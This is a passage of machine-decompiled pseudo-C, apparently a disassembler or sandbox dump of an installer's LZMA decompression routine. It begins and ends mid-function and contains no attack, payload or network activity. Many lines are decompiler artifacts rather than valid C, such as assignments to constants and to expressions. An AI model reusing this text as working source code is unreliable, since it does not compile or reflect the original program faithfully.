				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M004068EF))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8));
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
